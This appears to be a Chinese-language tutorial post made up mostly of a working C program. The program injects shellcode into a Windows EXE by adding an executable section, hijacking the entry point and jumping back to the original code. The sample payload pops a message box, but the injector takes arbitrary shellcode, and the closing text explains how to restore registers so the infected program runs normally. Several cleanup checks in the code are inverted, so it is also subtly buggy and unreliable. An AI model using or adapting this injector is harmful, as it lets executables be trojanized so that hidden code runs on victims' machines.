向程序添加任意shellocde代码

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <windows.h>

#define ADD_SIZE 1024//添加节区的大小
#define SEC_NAME ".new"//添加节区的名字

//这一段shellocde的作用就是弹出一个窗口就结束了
unsigned char g_shellcode[] = "\x55\x8B\xEC\x81\xEC\xC0\x00\x00\x00\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x0C\x8B\x1B\x8B\x1B\x8B\x5B\x18\x8B\xEB\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x46\x59\x48\x00\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x81\xC4\xC0\x00\x00\x00\x8B\xE5\x5D";

//unsigned char g_shellcode[] = "\x55\x8B\xEC\x81\xEC\xC0\x00\x00\x00\x53\x56\x57\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x0C\x8B\x1B\x8B\x1B\x8B\x5B\x18\x8B\xEB\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x46\x59\x48\x00\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x5F\x5E\x5B\x81\xC4\xC0\x00\x00\x00\x8B\xE5\x5D";

unsigned char g_jmpeop[5] = { '\xe9' };//构建跳转指令,执行完我们插入的代码后就转到原来的程序入口继续执行

//对齐函数
DWORD Aligment(DWORD dwSize, DWORD dwAligment)
{
	DWORD dwRet;
	DWORD dwAdd;

	dwRet = 0;
	dwAdd = 0;

	if (dwSize%dwAligment)
		dwAdd++;

	dwRet = (dwSize / dwAligment + dwAdd)*dwAligment;
	return dwRet;
}


void Inject(char* szFilePath)
{
	char szNewFilePath[100];
	int nFilePathLen;

	HANDLE hFile = NULL;
	HANDLE hMap = NULL;
	LPVOID pExe = nullptr;

	PIMAGE_DOS_HEADER pDos;
	PIMAGE_NT_HEADERS pNt;
	PIMAGE_SECTION_HEADER pBeginSection, pEndSection, pNewSection;

	DWORD dwFileAligment;
	DWORD dwSectionAligment;
	DWORD dwByte;

	DWORD dwOep;
	LPVOID pBuffer = nullptr;

	//文件路径基本判断
	nFilePathLen = strlen(szFilePath);
	if (!nFilePathLen || !szFilePath || nFilePathLen >= 95)
	{
		puts("文件字符串错误\n");
		return;
	}

	//我们在新的文件上面进行操作
	strncpy(szNewFilePath, szFilePath, nFilePathLen);
	szNewFilePath[nFilePathLen - 4] = '\0';
	strcat(szNewFilePath, "_sc.exe");
	CopyFile(szFilePath, szNewFilePath, FALSE);

	__try
	{
		hFile = CreateFileA(szNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
			NULL, OPEN_EXISTING, NULL, NULL);
		if (hFile == INVALID_HANDLE_VALUE)
		{
			puts("打开文件失败");
			__leave;
		}

		hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
		if (!hMap)
		{
			puts("创建文件位图失败");
			__leave;
		}

		pExe = MapViewOfFile(hMap, FILE_MAP_WRITE, NULL, NULL, NULL);
		if (!pExe)
		{
			puts("文件映射失败");
			__leave;
		}

		//得到文件的Dos和Nt
		pDos = (PIMAGE_DOS_HEADER)pExe;
		pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)pExe);

		//得到文件对齐和内存对齐
		dwFileAligment = pNt->OptionalHeader.FileAlignment;
		dwSectionAligment = pNt->OptionalHeader.SectionAlignment;

		//获取第一个区段
		pBeginSection = IMAGE_FIRST_SECTION(pNt);
		pEndSection = pBeginSection;
		pNewSection = pBeginSection;

		//获取最后一个区段和新的区段的地址
		while (pEndSection->VirtualAddress)
			pEndSection++;
		pNewSection = pEndSection;
		pEndSection--;

		strncpy((char*)pNewSection->Name, SEC_NAME, strlen(SEC_NAME));

		//文件地址
		pNewSection->PointerToRawData = pEndSection->SizeOfRawData + pEndSection->PointerToRawData;
		//内存实际占用大小
		pNewSection->Misc.VirtualSize = Aligment(ADD_SIZE, dwSectionAligment);
		//内存开始地址
		if (pEndSection->Misc.VirtualSize%dwSectionAligment)
			pNewSection->VirtualAddress = (pEndSection->Misc.VirtualSize / dwSectionAligment + 1)*dwSectionAligment + pEndSection->VirtualAddress;
		else
			pNewSection->VirtualAddress = (pEndSection->Misc.VirtualSize / dwSectionAligment)*dwSectionAligment + pEndSection->VirtualAddress;
		//文件大小
		pNewSection->SizeOfRawData = Aligment(ADD_SIZE, dwFileAligment);
		//区段的属性,必须为可读可写可执行
		pNewSection->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
		//区段数量加一
		pNt->FileHeader.NumberOfSections++;
		//加上新区段大小
		pNt->OptionalHeader.SizeOfImage += pNewSection->Misc.VirtualSize;
		//获取原来的入口地址
		dwOep = pNt->OptionalHeader.AddressOfEntryPoint;
		//修改为新区段的开始地址
		pNt->OptionalHeader.AddressOfEntryPoint = pNewSection->VirtualAddress;

		pBuffer = VirtualAlloc(NULL, ADD_SIZE, MEM_COMMIT, PAGE_READWRITE);
		if (!pBuffer)
		{
			puts("申请内存空间失败");
			__leave;
		}
		memset(pBuffer, '\x90', ADD_SIZE);
		//将文件指针移动到文件末尾
		SetFilePointer(hFile, NULL, NULL, FILE_END);
		//写入nop
		WriteFile(hFile, pBuffer, ADD_SIZE, &dwByte, NULL);
		if (!dwByte)
		{
			puts("写入nop失败");
			__leave;
		}
		//将文件指针往前移动新区段的大小,也就是移动到新区段的开始地址
		SetFilePointer(hFile, -ADD_SIZE, NULL, FILE_CURRENT);
		//写入我们的shellocde
		WriteFile(hFile, g_shellcode, sizeof(g_shellcode) - 1, &dwByte, NULL);
		if (!dwByte)
		{
			puts("写入shellocde失败");
			__leave;
		}
		//构造jmp指令跳转到原来的入口地址继续执行
		*(DWORD *)(g_jmpeop + 1) = dwOep - pNt->OptionalHeader.AddressOfEntryPoint - sizeof(g_shellcode) + 1 - 5;
		//在shellcode后面加入jmp
		WriteFile(hFile, g_jmpeop, sizeof(g_jmpeop), &dwByte, NULL);
		if (!dwByte)
		{
			puts("写入jmp指令失败");
			__leave;
		}

		puts("shellocde写入成功");
	}
	__finally {  }

	//释放
	if (hFile != INVALID_HANDLE_VALUE)
		CloseHandle(hFile);
	if (!hMap)
		CloseHandle(hMap);
	if (pExe)
		UnmapViewOfFile(pExe);
	if (!pBuffer)
		VirtualFree(pBuffer, NULL, MEM_RELEASE);
}

int main(int argc, char* argv[])
{
	char szFilePath[100];

	puts("输入EXE文件的绝对路径");
	gets_s(szFilePath);

	Inject(szFilePath);

	system("pause");
	return 0;
}

这里有一个问题,就是sizeof(g_shellcode)-1和下面的sizeof(g_shellocde)+1,不这样子写的话写入的shellcode后面有....

		WriteFile(hFile, g_shellcode, sizeof(g_shellcode) - 1, &dwByte, NULL);
		if (!dwByte)
		{
			puts("写入shellocde失败");
			__leave;
		}
		//构造jmp指令跳转到原来的入口地址继续执行
		*(DWORD *)(g_jmpeop + 1) = dwOep - pNt->OptionalHeader.AddressOfEntryPoint - sizeof(g_shellcode) + 1 - 5;

效果如图所示:

原来的程序入口点代码向程序添加任意shellocde代码

我们修改后就变成了

向程序添加任意shellocde代码

 还有一个问题就是转跳到原来的入口地址后程序不能继续执行的问题,那就是原来寄存器里面的数据丢失了,因为程序的初始化需要原来寄存器里面的数据。经过我们shellocde运行后寄存器里面的数据都变了,所以程序不能继续运行,解决的话就只需将原来寄存器里面的数据恢复就ok。